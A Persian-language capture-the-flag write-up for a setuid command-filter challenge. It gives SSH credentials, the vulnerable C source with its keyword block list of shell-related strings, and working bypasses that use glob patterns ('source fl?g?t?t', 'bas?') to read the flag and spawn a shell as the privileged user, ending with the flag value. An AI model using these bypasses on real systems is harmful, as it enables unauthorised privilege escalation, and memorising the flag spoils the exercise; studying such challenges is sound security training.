چالش سیستم‌عامل اول: Die Hard

توضیحات

مارا به سخت‌جانی خود این گمان نبود!
اطلاعات ورود:

ssh -p 8024 user1@86.104.33.87

/home/flag

password: YTQ5YzJjMjhkMjk1NzhiZGRjYzQzM2M

حل چالش

پس از اتصال ssh و وارد شدن به مسیر خواسته شده با سه پرونده مواجه می‌شویم:

user1@parcham-os-1:/home/flag$ ls -al
total 48
drwxr-xr-x 1 flag flag  4096 Jan 26 22:15 .
drwxr-xr-x 1 root root  4096 Jan 26 21:26 ..
-rw-r--r-- 1 flag flag   220 Jan 26 21:26 .bash_logout
-rw-r--r-- 1 flag flag  3771 Jan 26 21:26 .bashrc
-rw-r--r-- 1 flag flag   807 Jan 26 21:26 .profile
-r-sr-xr-x 1 flag flag 17112 Jan 26 22:14 access
-r--r--r-- 1 flag flag  1143 Jan 26 21:15 access.c
-r--r----- 1 flag flag    42 Jan 26 21:21 flag.txt

متوجه می‌شویم که با نام کاربری user1 وارد سیستم شده‌ایم ولی پرونده‌هایی که به آن‌ها باید دسترسی پیدا کنیم متعلق به کاربر flag هستند.
به این ترتیب به سادگی نمی‌توان پرونده‌ی مربوط به flag را خواند.
چرا که مجوز دسترسی به خواندن پرچم فقط برای کاربر flag است.

user1@parcham-os-1:/home/flag$ cat flag.txt 
cat: flag.txt: Permission denied

از طرفی دقت می‌کنیم که پرونده‌ی access که یک فایل اجرایی است دارای فلگ‌های زیر است:

-r-sr-xr-x

و این یعنی زمانی که اجرا می‌شود مجوزهای مربوط به کاربر flag را دارد.

برای سادگی این سوال، پرونده‌ی کد منبع این فایل اجرایی نیز در همین مسیر قرار داده شده است که به سراغ آن می‌رویم تا بررسی کنیم این پرونده چه کاری انجام می‌دهد.

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>

char *gen_cmd(int argc, const char **argv){
        size_t total_size = 1;
        for(int it = 1; it < argc; it++){
                total_size+= strlen(argv[it]);
        }
        char *ret = malloc(total_size);
        total_size = 0;
        for(int it = 1; it < argc; it++){
                size_t len = strlen(argv[it]);
                memcpy(ret+total_size, argv[it], len); 
                total_size+= len;
                ret[total_size] = ' ';
                total_size++;
        }
        ret[total_size] = '\0';
        return ret;
}

int filter(const char *cmd){
        int valid = 1;
        valid &= strstr(cmd, "*") == NULL;
        valid &= strstr(cmd, "sh") == NULL;
        valid &= strstr(cmd, "/") == NULL;
        valid &= strstr(cmd, "home") == NULL;
        valid &= strstr(cmd, "parcham") == NULL;
        valid &= strstr(cmd, "busybox") == NULL;
        valid &= strstr(cmd, ".") == NULL;
        valid &= strstr(cmd, "$") == NULL;
        valid &= strstr(cmd, "flag") == NULL;
        valid &= strstr(cmd, "txt") == NULL;
        return valid;
}


int main(int argc, const char **argv){
        setreuid(UID, UID);
        char *cmd = gen_cmd(argc, argv);
        if (!filter(cmd)){
                exit(-1);
        }
        setenv("PATH", "", 1); 
        system(cmd);
}

این برنامه در واقع یک دستور ورودی می‌گیرد و آن را فیلتر می‌کند و در صورتی که شامل برخی کلمات یا کاراکترهایی باشد از برنامه خارج شده و در غیر این صورت به سراغ اجرای آن می‌رود. همان‌طور که اشاره کردیم در صورتی که از فیلتر عبور کنیم، هر دستوری که کاربر وارد کرده باشد با مجوزهای کاربر flag اجرا می‌شود.
این نکته‌ی مهمی است چون اگر بتوانیم دستوری وارد کنیم که فایل flag.txt را بخواند و از فیلتر عبور کند در واقع به پرچم می‌رسیم.

تابع gen_cmd() فقط ورودی‌ها را به یکدیگر متصل می‌کند تا یک رشته را باز گرداند و سپس دستور system(cmd) فرمانی را اجرا می‌کند که کاربر وارد کرده است.

همچنین دقت داریم که دستور setenv("PATH", "", 1) متغیرهای محلی بش را پاک می‌کند و این یعنی نمی‌توان از این متغیرها استفاده کرد.

همچنین با بررسی تابع filter متوجه می‌شویم که دستوری مانند cat flag.txt قابل اجرا نیست.

هم‌چنین دقت داریم که همه‌ی دستورات از طریق فراخوانی system در دسترس نیستند. به خصوص دستوراتی که در مسیر /bin قرار دارند.

به همین دلیل دست به کار می‌شویم تا محدودیت‌های موجود در تابع فیلتر را دور بزنیم.
راه‌های متعددی وجود دارد که برخی از آن ها را اینجا می‌نویسم:

user1@parcham-os-1:/home/flag$ ./access 'source fl?g?t?t'
flag.txt: line 1: parcham{bbe147934d55c3695b037b259fed8eca}: No such file or directory

هم‌چنین می‌توانیم با تغییر مسیر دستوری مشابه دستور زیر را اجرا کنیم. تعییر مسیر با هدف دسترسی به دستورات موجود در مسیر bin انجام می‌شود

cd /bin 
/home/flag/access "bas?"

در اینجا نام کاربری ما تغییر می‌کند و دیگر به راحتی می‌توانیم پرونده‌ی پرچم را بخوانیم.

cat /home/flag/flag.txt